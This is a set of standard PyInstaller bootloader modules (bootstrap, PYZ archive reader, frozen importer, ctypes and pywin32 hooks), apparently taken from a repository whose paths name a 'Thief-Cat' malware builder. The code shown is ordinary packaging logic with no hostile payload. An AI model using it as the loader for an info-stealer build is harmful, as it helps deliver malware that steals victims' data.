# http://www.PyInstaller.org/ticket/651
#
# Importing 'encodings' module in a run-time hook is not enough, since some run-time hooks require this module, and the
# order of running the code from the run-time hooks is not defined.
try:
    import encodings  # noqa: F401
except ImportError:
    pass

# In the Python interpreter 'warnings' module is imported when 'sys.warnoptions' is not empty. Mimic this behavior.
if sys.warnoptions:
    import warnings  # noqa: F401

# Install the hooks for ctypes
import pyimod03_ctypes  # noqa: E402

pyimod03_ctypes.install()

# Install the hooks for pywin32 (Windows only)
if sys.platform.startswith('win'):
    import pyimod04_pywin32
    pyimod04_pywin32.install()

# Apply a hack for metadata that was collected from (unzipped) python eggs; the EGG-INFO directories are collected into
# their parent directories (my_package-version.egg/EGG-INFO), and for metadata to be discoverable by
# `importlib.metadata`, the .egg directory needs to be in `sys.path`. The deprecated `pkg_resources` does not have this
# limitation, and seems to work as long as the .egg directory's parent directory (in our case `sys._MEIPASS` is in
# `sys.path`.
for entry in os.listdir(sys._MEIPASS):
    entry = os.path.join(sys._MEIPASS, entry)
    if not os.path.isdir(entry):
        continue
    if entry.endswith('.egg'):
        sys.path.append(entry)

ThiefCat_assets/MwlareBuilder/loader/pyiboot01_bootstrap.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2005-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------

# **NOTE** This module is used during bootstrap.
# Import *ONLY* builtin modules or modules that are collected into the base_library.zip archive.
# List of built-in modules: sys.builtin_module_names
# List of modules collected into base_library.zip: PyInstaller.compat.PY3_BASE_MODULES

import os
import struct
import marshal
import zlib

# In Python3, the MAGIC_NUMBER value is available in the importlib module. However, in the bootstrap phase we cannot use
# importlib directly, but rather its frozen variant.
import _frozen_importlib

PYTHON_MAGIC_NUMBER = _frozen_importlib._bootstrap_external.MAGIC_NUMBER

# Type codes for PYZ PYZ entries
PYZ_ITEM_MODULE = 0
PYZ_ITEM_PKG = 1
PYZ_ITEM_DATA = 2  # deprecated; PYZ does not contain any data entries anymore
PYZ_ITEM_NSPKG = 3  # PEP-420 namespace package


class ArchiveReadError(RuntimeError):
    pass


class ZlibArchiveReader:
    """
    Reader for PyInstaller's PYZ (ZlibArchive) archive. The archive is used to store collected byte-compiled Python
    modules, as individually-compressed entries.
    """
    _PYZ_MAGIC_PATTERN = b'PYZ\0'

    def __init__(self, filename, start_offset=None, check_pymagic=False):
        self._filename = filename
        self._start_offset = start_offset

        self.toc = {}

        # If no offset is given, try inferring it from filename
        if start_offset is None:
            self._filename, self._start_offset = self._parse_offset_from_filename(filename)

        # Parse header and load TOC. Standard header contains 12 bytes: PYZ magic pattern, python bytecode magic
        # pattern, and offset to TOC (32-bit integer). It might be followed by additional fields, depending on
        # implementation version.
        with open(self._filename, "rb") as fp:
            # Read PYZ magic pattern, located at the start of the file
            fp.seek(self._start_offset, os.SEEK_SET)

            magic = fp.read(len(self._PYZ_MAGIC_PATTERN))
            if magic != self._PYZ_MAGIC_PATTERN:
                raise ArchiveReadError("PYZ magic pattern mismatch!")

            # Read python magic/version number
            pymagic = fp.read(len(PYTHON_MAGIC_NUMBER))
            if check_pymagic and pymagic != PYTHON_MAGIC_NUMBER:
                raise ArchiveReadError("Python magic pattern mismatch!")

            # Read TOC offset
            toc_offset, *_ = struct.unpack('!i', fp.read(4))

            # Load TOC
            fp.seek(self._start_offset + toc_offset, os.SEEK_SET)
            self.toc = dict(marshal.load(fp))

    @staticmethod
    def _parse_offset_from_filename(filename):
        """
        Parse the numeric offset from filename, stored as: `/path/to/file?offset`.
        """
        offset = 0

        idx = filename.rfind('?')
        if idx == -1:
            return filename, offset

        try:
            offset = int(filename[idx + 1:])
            filename = filename[:idx]  # Remove the offset from filename
        except ValueError:
            # Ignore spurious "?" in the path (for example, like in Windows UNC \\?\<path>).
            pass

        return filename, offset

    def is_package(self, name):
        """
        Check if the given name refers to a package entry. Used by PyiFrozenImporter at runtime.
        """
        entry = self.toc.get(name)
        if entry is None:
            return False
        typecode, entry_offset, entry_length = entry
        return typecode in (PYZ_ITEM_PKG, PYZ_ITEM_NSPKG)

    def is_pep420_namespace_package(self, name):
        """
        Check if the given name refers to a namespace package entry. Used by PyiFrozenImporter at runtime.
        """
        entry = self.toc.get(name)
        if entry is None:
            return False
        typecode, entry_offset, entry_length = entry
        return typecode == PYZ_ITEM_NSPKG

    def extract(self, name, raw=False):
        """
        Extract data from entry with the given name.

        If the entry belongs to a module or a package, the data is loaded (unmarshaled) into code object. To retrieve
        raw data, set `raw` flag to True.
        """
        # Look up entry
        entry = self.toc.get(name)
        if entry is None:
            return None
        typecode, entry_offset, entry_length = entry

        # Read data blob
        try:
            with open(self._filename, "rb") as fp:
                fp.seek(self._start_offset + entry_offset)
                obj = fp.read(entry_length)
        except FileNotFoundError:
            # We open the archive file each time we need to read from it, to avoid locking the file by keeping it open.
            # This allows executable to be deleted or moved (renamed) while it is running, which is useful in certain
            # scenarios (e.g., automatic update that replaces the executable). The caveat is that once the executable is
            # renamed, we cannot read from its embedded PYZ archive anymore. In such case, exit with informative
            # message.
            raise SystemExit(
                f"{self._filename} appears to have been moved or deleted since this application was launched. "
                "Continouation from this state is impossible. Exiting now."
            )

        try:
            obj = zlib.decompress(obj)
            if typecode in (PYZ_ITEM_MODULE, PYZ_ITEM_PKG, PYZ_ITEM_NSPKG) and not raw:
                obj = marshal.loads(obj)
        except EOFError as e:
            raise ImportError(f"Failed to unmarshal PYZ entry {name!r}!") from e

        return obj

ThiefCat_assets/MwlareBuilder/loader/pyimod01_archive.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2005-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------
"""
PEP-302 and PEP-451 importers for frozen applications.
"""

# **NOTE** This module is used during bootstrap.
# Import *ONLY* builtin modules or modules that are collected into the base_library.zip archive.
# List of built-in modules: sys.builtin_module_names
# List of modules collected into base_library.zip: PyInstaller.compat.PY3_BASE_MODULES

import sys
import os
import io

import _frozen_importlib

from pyimod01_archive import ArchiveReadError, ZlibArchiveReader

SYS_PREFIX = sys._MEIPASS + os.sep
SYS_PREFIXLEN = len(SYS_PREFIX)

# In Python 3, it is recommended to use class 'types.ModuleType' to create a new module. However, 'types' module is
# not a built-in module. The 'types' module uses this trick with using type() function:
imp_new_module = type(sys)

if sys.flags.verbose and sys.stderr:

    def trace(msg, *a):
        sys.stderr.write(msg % a)
        sys.stderr.write("\n")
else:

    def trace(msg, *a):
        pass


def _decode_source(source_bytes):
    """
    Decode bytes representing source code and return the string. Universal newline support is used in the decoding.
    Based on CPython's implementation of the same functionality:
    https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688
    """
    # Local import to avoid including `tokenize` and its dependencies in `base_library.zip`
    from tokenize import detect_encoding
    source_bytes_readline = io.BytesIO(source_bytes).readline
    encoding = detect_encoding(source_bytes_readline)
    newline_decoder = io.IncrementalNewlineDecoder(decoder=None, translate=True)
    return newline_decoder.decode(source_bytes.decode(encoding[0]))


class PyiFrozenImporterState:
    """
    An object encapsulating extra information for PyiFrozenImporter, to be stored in `ModuleSpec.loader_state`. Having
    a custom type allows us to verify that module spec indeed contains the original loader state data, as set by
    `PyiFrozenImporter.find_spec`.
    """
    def __init__(self, entry_name):
        # Module name, as recorded in the PYZ archive.
        self.pyz_entry_name = entry_name


class PyiFrozenImporter:
    """
    Load bytecode of Python modules from the executable created by PyInstaller.

    Python bytecode is zipped and appended to the executable.

    NOTE: PYZ format cannot be replaced by zipimport module.

    The problem is that we have no control over zipimport; for instance, it does not work if the zip file is embedded
    into a PKG that is appended to an executable, like we create in one-file mode.

    This used to be PEP-302 finder and loader class for the ``sys.meta_path`` hook. A PEP-302 finder requires method
    find_module() to return loader class with method load_module(). However, both of these methods were deprecated in
    python 3.4 by PEP-451 (see below). Therefore, this class now provides only optional extensions to the PEP-302
    importer protocol.

    This is also a PEP-451 finder and loader class for the ModuleSpec type import system. A PEP-451 finder requires
    method find_spec(), a PEP-451 loader requires methods exec_module(), load_module() and (optionally) create_module().
    All these methods are implemented in this one class.
    """
    def __init__(self):
        """
        Load, unzip and initialize the Zip archive bundled with the executable.
        """
        # Examine all items in sys.path and the one like /path/executable_name?117568 is the correct executable with
        # the bundled zip archive. Use this value for the ZlibArchiveReader class, and remove this item from sys.path.
        # It was needed only for PyiFrozenImporter class. Wrong path from sys.path raises an ArchiveReadError exception.
        for pyz_filepath in sys.path:
            try:
                # Unzip zip archive bundled with the executable.
                self._pyz_archive = ZlibArchiveReader(pyz_filepath, check_pymagic=True)
                # Verify the integrity of the zip archive with Python modules.
                # This is already done when creating the ZlibArchiveReader instance.
                #self._pyz_archive.checkmagic()

                # As no Exception was raised, we can assume that ZlibArchiveReader was successfully loaded.
                # Let's remove 'pyz_filepath' from sys.path.
                sys.path.remove(pyz_filepath)
                # Some runtime hook might need access to the list of available frozen modules. Let's make them
                # accessible as a set().
                self.toc = set(self._pyz_archive.toc.keys())
                # Return - no error was raised.
                trace("# PyInstaller: PyiFrozenImporter(%s)", pyz_filepath)
                return
            except IOError:
                # Item from sys.path is not ZlibArchiveReader; let's try next one.
                continue
            except ArchiveReadError:
                # Item from sys.path is not ZlibArchiveReader; let's try next one.
                continue
        # sys.path does not contain the filename of the executable with the bundled zip archive. Raise import error.
        raise ImportError("Cannot load frozen modules.")

    # Private helper
    def _is_pep420_namespace_package(self, fullname):
        if fullname in self.toc:
            try:
                return self._pyz_archive.is_pep420_namespace_package(fullname)
            except Exception as e:
                raise ImportError(f'PyiFrozenImporter cannot handle module {fullname!r}') from e
        else:
            raise ImportError(f'PyiFrozenImporter cannot handle module {fullname!r}')

    #-- Optional Extensions to the PEP-302 Importer Protocol --

    def is_package(self, fullname):
        if fullname in self.toc:
            try:
                return self._pyz_archive.is_package(fullname)
            except Exception as e:
                raise ImportError(f'PyiFrozenImporter cannot handle module {fullname!r}') from e
        else:
            raise ImportError(f'PyiFrozenImporter cannot handle module {fullname!r}')

    def get_code(self, fullname):
        """
        Get the code object associated with the module.

        ImportError should be raised if module not found.
        """
        try:
            if fullname == '__main__':
                # Special handling for __main__ module; the bootloader should store code object to _pyi_main_co
                # attribute of the module.
                return sys.modules['__main__']._pyi_main_co

            # extract() returns None if fullname is not in the archive, and the subsequent subscription attempt raises
            # exception, which is turned into ImportError.
            return self._pyz_archive.extract(fullname)
        except Exception as e:
            raise ImportError(f'PyiFrozenImporter cannot handle module {fullname!r}') from e

    def get_source(self, fullname):
        """
        Method should return the source code for the module as a string.
        But frozen modules does not contain source code.

        Return None, unless the corresponding source file was explicitly collected to the filesystem.
        """
        if fullname in self.toc:
            # Try loading the .py file from the filesystem (only for collected modules)
            if self.is_package(fullname):
                fullname += '.__init__'
            filename = os.path.join(SYS_PREFIX, fullname.replace('.', os.sep) + '.py')
            try:
                # Read in binary mode, then decode
                with open(filename, 'rb') as fp:
                    source_bytes = fp.read()
                return _decode_source(source_bytes)
            except FileNotFoundError:
                pass
            return None
        else:
            # ImportError should be raised if module not found.
            raise ImportError('No module named ' + fullname)

    def get_data(self, path):
        """
        Returns the data as a string, or raises IOError if the file was not found. The data is always returned as if
        "binary" mode was used.

        The 'path' argument is a path that can be constructed by munging module.__file__ (or pkg.__path__ items).

        This assumes that the file in question was collected into frozen application bundle as a file, and is available
        on the filesystem. Older versions of PyInstaller also supported data embedded in the PYZ archive, but that has
        been deprecated in v6.
        """
        # Try to fetch the data from the filesystem. Since __file__ attribute works properly, just try to open the file
        # and read it.
        with open(path, 'rb') as fp:
            return fp.read()

    def get_filename(self, fullname):
        """
        This method should return the value that __file__ would be set to if the named module was loaded. If the module
        is not found, an ImportError should be raised.
        """
        # The absolute absolute path to the executable is taken from sys.prefix. In onefile mode it points to the temp
        # directory where files are unpacked by PyInstaller. Then, append the appropriate suffix (__init__.pyc for a
        # package, or just .pyc for a module).
        # Method is_package() will raise ImportError if module not found.
        if self.is_package(fullname):
            filename = os.path.join(SYS_PREFIX, fullname.replace('.', os.path.sep), '__init__.pyc')
        else:
            filename = os.path.join(SYS_PREFIX, fullname.replace('.', os.path.sep) + '.pyc')
        return filename

    def find_spec(self, fullname, path=None, target=None):
        """
        PEP-451 finder.find_spec() method for the ``sys.meta_path`` hook.

        fullname     fully qualified name of the module
        path         None for a top-level module, or package.__path__ for
                     submodules or subpackages.
        target       unused by this Finder

        Finders are still responsible for identifying, and typically creating, the loader that should be used to load a
        module. That loader will now be stored in the module spec returned by find_spec() rather than returned directly.
        As is currently the case without the PEP-452, if a loader would be costly to create, that loader can be designed
        to defer the cost until later.

        Finders must return ModuleSpec objects when find_spec() is called. This new method replaces find_module() and
        find_loader() (in the PathEntryFinder case). If a loader does not have find_spec(), find_module() and
        find_loader() are used instead, for backward-compatibility.
        """
        entry_name = None  # None means - no module found in this importer.

        # Try to handle module.__path__ modifications by the modules themselves. This needs to be done first in
        # order to support module overrides in alternative locations while we also have the original module
        # available at non-override location.
        if path is not None:
            # Reverse the fake __path__ we added to the package module into a dotted module name, and add the tail
            # module from fullname onto that to synthesize a new fullname.
            modname = fullname.rsplit('.')[-1]

            for p in path:
                if not p.startswith(SYS_PREFIX):
                    continue
                p = p[SYS_PREFIXLEN:]
                parts = p.split(os.sep)
                if not parts:
                    continue
                if not parts[0]:
                    parts = parts[1:]
                parts.append(modname)
                entry_name = ".".join(parts)
                if entry_name in self.toc:
                    trace("import %s as %s # PyInstaller PYZ (__path__ override: %s)", entry_name, fullname, p)
                    break
            else:
                entry_name = None

        if entry_name is None:
            # Either there was no path override, or the module was not available there. Check the fully qualified name
            # of the module directly.
            if fullname in self.toc:
                entry_name = fullname
                trace("import %s # PyInstaller PYZ", fullname)

        if entry_name is None:
            trace("# %s not found in PYZ", fullname)
            return None

        if self._is_pep420_namespace_package(entry_name):
            from importlib._bootstrap_external import _NamespacePath
            # PEP-420 namespace package; as per PEP 451, we need to return a spec with "loader" set to None
            # (a.k.a. not set)
            spec = _frozen_importlib.ModuleSpec(fullname, None, is_package=True)
            # Set submodule_search_locations, which seems to fill the __path__ attribute.
            # This needs to be an instance of `importlib._bootstrap_external._NamespacePath` for `importlib.resources`
            # to work correctly with the namespace package; otherwise `importlib.resources.files()` throws an
            # `ValueError('Invalid path')` due to this check:
            # https://github.com/python/cpython/blob/v3.11.5/Lib/importlib/resources/readers.py#L109-L110
            spec.submodule_search_locations = _NamespacePath(
                entry_name,
                [os.path.dirname(self.get_filename(entry_name))],
                # The `path_finder` argument must be a callable with two arguments (`name` and `path`) that
                # returns the spec - so we need to bind our `find_spec` via lambda.
                lambda name, path: self.find_spec(name, path),
            )
            return spec

        # origin has to be the filename
        origin = self.get_filename(entry_name)
        is_pkg = self.is_package(entry_name)

        spec = _frozen_importlib.ModuleSpec(
            fullname,
            self,
            is_package=is_pkg,
            origin=origin,
            # Provide the entry_name (name of module entry in the PYZ) for the loader to use during loading.
            loader_state=PyiFrozenImporterState(entry_name)
        )

        # Make the import machinery set __file__.
        # PEP 451 says: "has_location" is true if the module is locatable. In that case the spec's origin is used
        # as the location and __file__ is set to spec.origin. If additional location information is required
        # (e.g., zipimport), that information may be stored in spec.loader_state.
        spec.has_location = True

        # Set submodule_search_locations for packages. Seems to be required for importlib_resources from 3.2.0;
        # see issue #5395.
        if is_pkg:
            spec.submodule_search_locations = [os.path.dirname(self.get_filename(entry_name))]

        return spec

    def create_module(self, spec):
        """
        PEP-451 loader.create_module() method for the ``sys.meta_path`` hook.

        Loaders may also implement create_module() that will return a new module to exec. It may return None to indicate
        that the default module creation code should be used. One use case, though atypical, for create_module() is to
        provide a module that is a subclass of the builtin module type. Most loaders will not need to implement
        create_module().

        create_module() should properly handle the case where it is called more than once for the same spec/module. This
        may include returning None or raising ImportError.
        """
        # Contrary to what is defined in PEP-451, this method is not optional. We want the default results, so we simply
        # return None (which is handled for su my the import machinery).
        # See https://bugs.python.org/issue23014 for more information.
        return None

    def exec_module(self, module):
        """
        PEP-451 loader.exec_module() method for the ``sys.meta_path`` hook.

        Loaders will have a new method, exec_module(). Its only job is to "exec" the module and consequently populate
        the module's namespace. It is not responsible for creating or preparing the module object, nor for any cleanup
        afterward. It has no return value. exec_module() will be used during both loading and reloading.

        exec_module() should properly handle the case where it is called more than once. For some kinds of modules this
        may mean raising ImportError every time after the first time the method is called. This is particularly relevant
        for reloading, where some kinds of modules do not support in-place reloading.
        """
        spec = module.__spec__

        if isinstance(spec.loader_state, PyiFrozenImporterState):
            # Use the module name stored in the `loader_state`, which was set by our `find_spec()` implementation.
            # This is necessary to properly resolve aliased modules; for example, `module.__spec__.name` contains
            # `pkg_resources.extern.jaraco.text`, but the original name stored in `loader_state`, which we need
            # to use for code look-up, is `pkg_resources._vendor.jaraco.text`.
            module_name = spec.loader_state.pyz_entry_name
        elif isinstance(spec.loader_state, dict):
            # This seems to happen when `importlib.util.LazyLoader` is used, and our original `loader_state` is lost.
            # We could use `spec.name` and hope for the best, but that will likely fail with aliased modules (see
            # the comment in the branch above for an example).
            #
            # So try to reconstruct the original module name from the `origin` - which is essentially the reverse of
            # our `get_filename()` implementation.
            assert spec.origin.startswith(SYS_PREFIX)
            module_name = spec.origin[SYS_PREFIXLEN:].replace(os.sep, '.')
            if module_name.endswith('.pyc'):
                module_name = module_name[:-4]
            if module_name.endswith('.__init__'):
                module_name = module_name[:-9]
        else:
            raise RuntimeError(f"Module's spec contains loader_state of incompatible type: {type(spec.loader_state)}")

        bytecode = self.get_code(module_name)
        if bytecode is None:
            raise RuntimeError(f"Failed to retrieve bytecode for {spec.name!r}!")

        # Set by the import machinery
        assert hasattr(module, '__file__')

        # If `submodule_search_locations` is not None, this is a package; set __path__.
        if spec.submodule_search_locations is not None:
            # Since PYTHONHOME is set in bootloader, 'sys.prefix' points to the correct path where PyInstaller should
            # find bundled dynamic libraries. In one-file mode it points to the tmp directory where bundled files are
            # extracted at execution time.
            #
            # __path__ cannot be empty list because 'wx' module prepends something to it. It cannot contain value
            # 'sys.prefix' because 'xml.etree.cElementTree' fails otherwise.
            #
            # Set __path__ to point to 'sys.prefix/package/subpackage'.
            module.__path__ = [os.path.dirname(module.__file__)]

        exec(bytecode, module.__dict__)

    def get_resource_reader(self, fullname):
        """
        Return importlib.resource-compatible resource reader.
        """
        return PyiFrozenResourceReader(self, fullname)


class PyiFrozenResourceReader:
    """
    Resource reader for importlib.resources / importlib_resources support.

    Currently supports only on-disk resources (support for resources from the embedded archive is missing).
    However, this should cover the typical use cases (access to data files), as PyInstaller collects data files onto
    filesystem, and only .pyc modules are collected into embedded archive. One exception are resources collected from
    zipped eggs (which end up collected into embedded archive), but those should be rare anyway.

    When listing resources, source .py files will not be listed as they are not collected by default. Similarly,
    sub-directories that contained only .py files are not reconstructed on filesystem, so they will not be listed,
    either. If access to .py files is required for whatever reason, they need to be explicitly collected as data files
    anyway, which will place them on filesystem and make them appear as resources.

    For on-disk resources, we *must* return path compatible with pathlib.Path() in order to avoid copy to a temporary
    file, which might break under some circumstances, e.g., metpy with importlib_resources back-port, due to:
    https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_symbols.py#L24-L25
    (importlib_resources tries to use 'fonts/wx_symbols.ttf' as a temporary filename suffix, which fails as it contains
    a separator).

    Furthermore, some packages expect files() to return either pathlib.Path or zipfile.Path, e.g.,
    https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#L81-L97
    This makes implementation of mixed support for on-disk and embedded resources using importlib.abc.Traversable
    protocol rather difficult.

    So in order to maximize compatibility with unfrozen behavior, the below implementation is basically equivalent of
    importlib.readers.FileReader from python 3.10:
      https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/readers.py#L11
    and its underlying classes, importlib.abc.TraversableResources and importlib.abc.ResourceReader:
      https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py#L422
      https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py#L312
    """
    def __init__(self, importer, name):
        # Local import to avoid including `pathlib` and its dependencies in `base_library.zip`
        from pathlib import Path
        self.importer = importer
        self.path = Path(sys._MEIPASS).joinpath(*name.split('.'))

    def open_resource(self, resource):
        return self.files().joinpath(resource).open('rb')

    def resource_path(self, resource):
        return str(self.path.joinpath(resource))

    def is_resource(self, path):
        return self.files().joinpath(path).is_file()

    def contents(self):
        return (item.name for item in self.files().iterdir())

    def files(self):
        return self.path


def install():
    """
    Install PyiFrozenImporter class into the import machinery.

    This function installs the PyiFrozenImporter class into the import machinery of the running process. The importer
    is added to sys.meta_path. It could be added to sys.path_hooks, but sys.meta_path is processed by Python before
    looking at sys.path!

    The order of processing import hooks in sys.meta_path:

    1. built-in modules
    2. modules from the bundled ZIP archive
    3. C extension modules
    4. Modules from sys.path
    """
    # Ensure Python looks in the bundled zip archive for modules before any other places.
    importer = PyiFrozenImporter()
    sys.meta_path.append(importer)

    # On Windows there is importer _frozen_importlib.WindowsRegistryFinder that looks for Python modules in Windows
    # registry. The frozen executable should not look for anything in the Windows registry. Remove this importer
    # from sys.meta_path.
    for item in sys.meta_path:
        if hasattr(item, '__name__') and item.__name__ == 'WindowsRegistryFinder':
            sys.meta_path.remove(item)
            break
    # _frozen_importlib.PathFinder is also able to handle Python C extensions. However, PyInstaller needs its own
    # importer as it uses extension names like 'module.submodle.so' (instead of paths). As of Python 3.7.0b2, there
    # are several PathFinder instances (and duplicate ones) on sys.meta_path. This propobly is a bug, see
    # https://bugs.python.org/issue33128. Thus we need to move all of them to the end, and eliminate the duplicates.
    path_finders = []
    for item in reversed(sys.meta_path):
        if getattr(item, '__name__', None) == 'PathFinder':
            sys.meta_path.remove(item)
            if item not in path_finders:
                path_finders.append(item)
    sys.meta_path.extend(reversed(path_finders))
    # TODO: do we need _frozen_importlib.FrozenImporter in Python 3? Could it be also removed?

    # Set the FrozenImporter as loader for __main__, in order for python to treat __main__ as a module instead of
    # a built-in.
    try:
        sys.modules['__main__'].__loader__ = importer
    except Exception:
        pass

    # Apply hack for python >= 3.11 and its frozen stdlib modules.
    if sys.version_info >= (3, 11):
        _fixup_frozen_stdlib()


# A hack for python >= 3.11 and its frozen stdlib modules. Unless `sys._stdlib_dir` is set, these modules end up
# missing __file__ attribute, which causes problems with 3rd party code. At the time of writing, python interpreter
# configuration API does not allow us to influence `sys._stdlib_dir` - it always resets it to `None`. Therefore,
# we manually set the path, and fix __file__ attribute on modules.
def _fixup_frozen_stdlib():
    import _imp  # built-in

    # If sys._stdlib_dir is None or empty, override it with sys._MEIPASS
    if not sys._stdlib_dir:
        try:
            sys._stdlib_dir = sys._MEIPASS
        except AttributeError:
            pass

    # The sys._stdlib_dir set above should affect newly-imported python-frozen modules. However, most of them have
    # been already imported during python initialization and our bootstrap, so we need to retroactively fix their
    # __file__ attribute.
    for module_name, module in sys.modules.items():
        if not _imp.is_frozen(module_name):
            continue

        is_pkg = _imp.is_frozen_package(module_name)

        # Determine "real" name from __spec__.loader_state.
        loader_state = module.__spec__.loader_state

        orig_name = loader_state.origname
        if is_pkg:
            orig_name += '.__init__'

        # We set suffix to .pyc to be consistent with out PyiFrozenImporter.
        filename = os.path.join(sys._MEIPASS, *orig_name.split('.')) + '.pyc'

        # Fixup the __file__ attribute
        if not hasattr(module, '__file__'):
            try:
                module.__file__ = filename
            except AttributeError:
                pass

        # Fixup the loader_state.filename
        # Except for _frozen_importlib (importlib._bootstrap), whose loader_state.filename appears to be left at
        # None in python.
        if loader_state.filename is None and orig_name != 'importlib._bootstrap':
            loader_state.filename = filename

ThiefCat_assets/MwlareBuilder/loader/pyimod02_importers.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2005-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License with exception
# for distributing bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#-----------------------------------------------------------------------------
"""
Hooks to make ctypes.CDLL, .PyDLL, etc. look in sys._MEIPASS first.
"""

import sys


def install():
    """
    Install the hooks.

    This must be done from a function as opposed to at module-level, because when the module is imported/executed,
    the import machinery is not completely set up yet.
    """

    import os

    try:
        import ctypes
    except ImportError:
        # ctypes is not included in the frozen application
        return

    def _frozen_name(name):
        # If the given (file)name does not exist, fall back to searching for its basename in sys._MEIPASS, where
        # PyInstaller usually collects shared libraries.
        if name and not os.path.isfile(name):
            frozen_name = os.path.join(sys._MEIPASS, os.path.basename(name))
            if os.path.isfile(frozen_name):
                name = frozen_name
        return name

    class PyInstallerImportError(OSError):
        def __init__(self, name):
            self.msg = (
                "Failed to load dynlib/dll %r. Most likely this dynlib/dll was not found when the application "
                "was frozen." % name
            )
            self.args = (self.msg,)

    class PyInstallerCDLL(ctypes.CDLL):
        def __init__(self, name, *args, **kwargs):
            name = _frozen_name(name)
            try:
                super().__init__(name, *args, **kwargs)
            except Exception as base_error:
                raise PyInstallerImportError(name) from base_error

    ctypes.CDLL = PyInstallerCDLL
    ctypes.cdll = ctypes.LibraryLoader(PyInstallerCDLL)

    class PyInstallerPyDLL(ctypes.PyDLL):
        def __init__(self, name, *args, **kwargs):
            name = _frozen_name(name)
            try:
                super().__init__(name, *args, **kwargs)
            except Exception as base_error:
                raise PyInstallerImportError(name) from base_error

    ctypes.PyDLL = PyInstallerPyDLL
    ctypes.pydll = ctypes.LibraryLoader(PyInstallerPyDLL)

    if sys.platform.startswith('win'):

        class PyInstallerWinDLL(ctypes.WinDLL):
            def __init__(self, name, *args, **kwargs):
                name = _frozen_name(name)
                try:
                    super().__init__(name, *args, **kwargs)
                except Exception as base_error:
                    raise PyInstallerImportError(name) from base_error

        ctypes.WinDLL = PyInstallerWinDLL
        ctypes.windll = ctypes.LibraryLoader(PyInstallerWinDLL)

        class PyInstallerOleDLL(ctypes.OleDLL):
            def __init__(self, name, *args, **kwargs):
                name = _frozen_name(name)
                try:
                    super().__init__(name, *args, **kwargs)
                except Exception as base_error:
                    raise PyInstallerImportError(name) from base_error

        ctypes.OleDLL = PyInstallerOleDLL
        ctypes.oledll = ctypes.LibraryLoader(PyInstallerOleDLL)

        try:
            import ctypes.util
        except ImportError:
            # ctypes.util is not included in the frozen application
            return

        # Same implementation as ctypes.util.find_library, except it prepends sys._MEIPASS to the search directories.
        def PyInstaller_find_library(name):
            if name in ('c', 'm'):
                return ctypes.util.find_msvcrt()
            # See MSDN for the REAL search order.
            search_dirs = [sys._MEIPASS] + os.environ['PATH'].split(os.pathsep)
            for directory in search_dirs:
                fname = os.path.join(directory, name)
                if os.path.isfile(fname):
                    return fname
                if fname.lower().endswith(".dll"):
                    continue
                fname = fname + ".dll"
                if os.path.isfile(fname):
                    return fname
            return None

        ctypes.util.find_library = PyInstaller_find_library


# On Mac OS insert sys._MEIPASS in the first position of the list of paths that ctypes uses to search for libraries.
#
# Note: 'ctypes' module will NOT be bundled with every app because code in this module is not scanned for module
#       dependencies. It is safe to wrap 'ctypes' module into 'try/except ImportError' block.
if sys.platform.startswith('darwin'):
    try:
        from ctypes.macholib import dyld
        dyld.DEFAULT_LIBRARY_FALLBACK.insert(0, sys._MEIPASS)
    except ImportError:
        # Do nothing when module 'ctypes' is not available.
        pass

ThiefCat_assets/MwlareBuilder/loader/pyimod03_ctypes.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2005-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License with exception
# for distributing bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#-----------------------------------------------------------------------------
"""
Set search path for pywin32 DLLs. Due to the large number of pywin32 modules, we use a single loader-level script
instead of per-module runtime hook scripts.
"""

import os
import sys


def install():
    # Sub-directories containing extensions. In original python environment, these are added to `sys.path` by the
    # `pywin32.pth` so the extensions end up treated as top-level modules. We attempt to preserve the directory
    # layout, so we need to add these directories to `sys.path` ourselves.
    pywin32_ext_paths = ('win32', 'pythonwin')
    pywin32_ext_paths = [os.path.join(sys._MEIPASS, pywin32_ext_path) for pywin32_ext_path in pywin32_ext_paths]
    pywin32_ext_paths = [path for path in pywin32_ext_paths if os.path.isdir(path)]
    sys.path.extend(pywin32_ext_paths)

    # Additional handling of `pywin32_system32` DLL directory
    pywin32_system32_path = os.path.join(sys._MEIPASS, 'pywin32_system32')

    if not os.path.isdir(pywin32_system32_path):
        # Either pywin32 is not collected, or we are dealing with version that does not use the pywin32_system32
        # sub-directory. In the latter case, the pywin32 DLLs should be in `sys._MEIPASS`, and nothing
        # else needs to be done here.
        return

    # Add the DLL directory to `sys.path`.
    # This is necessary because `__import_pywin32_system_module__` from `pywintypes` module assumes that in a frozen
    # application, the pywin32 DLLs (`pythoncom3X.dll` and `pywintypes3X.dll`) that are normally found in
    # `pywin32_system32` sub-directory in `sys.path` (site-packages, really) are located directly in `sys.path`.
    # This obviously runs afoul of our attempts at preserving the directory layout and placing them in the
    # `pywin32_system32` sub-directory instead of the top-level application directory.
    sys.path.append(pywin32_system32_path)

    # Add the DLL directory to DLL search path using os.add_dll_directory().
    # This allows extensions from win32 directory (e.g., win32api, win32crypt) to be loaded on their own without
    # importing pywintypes first. The extensions are linked against pywintypes3X.dll.
    os.add_dll_directory(pywin32_system32_path)

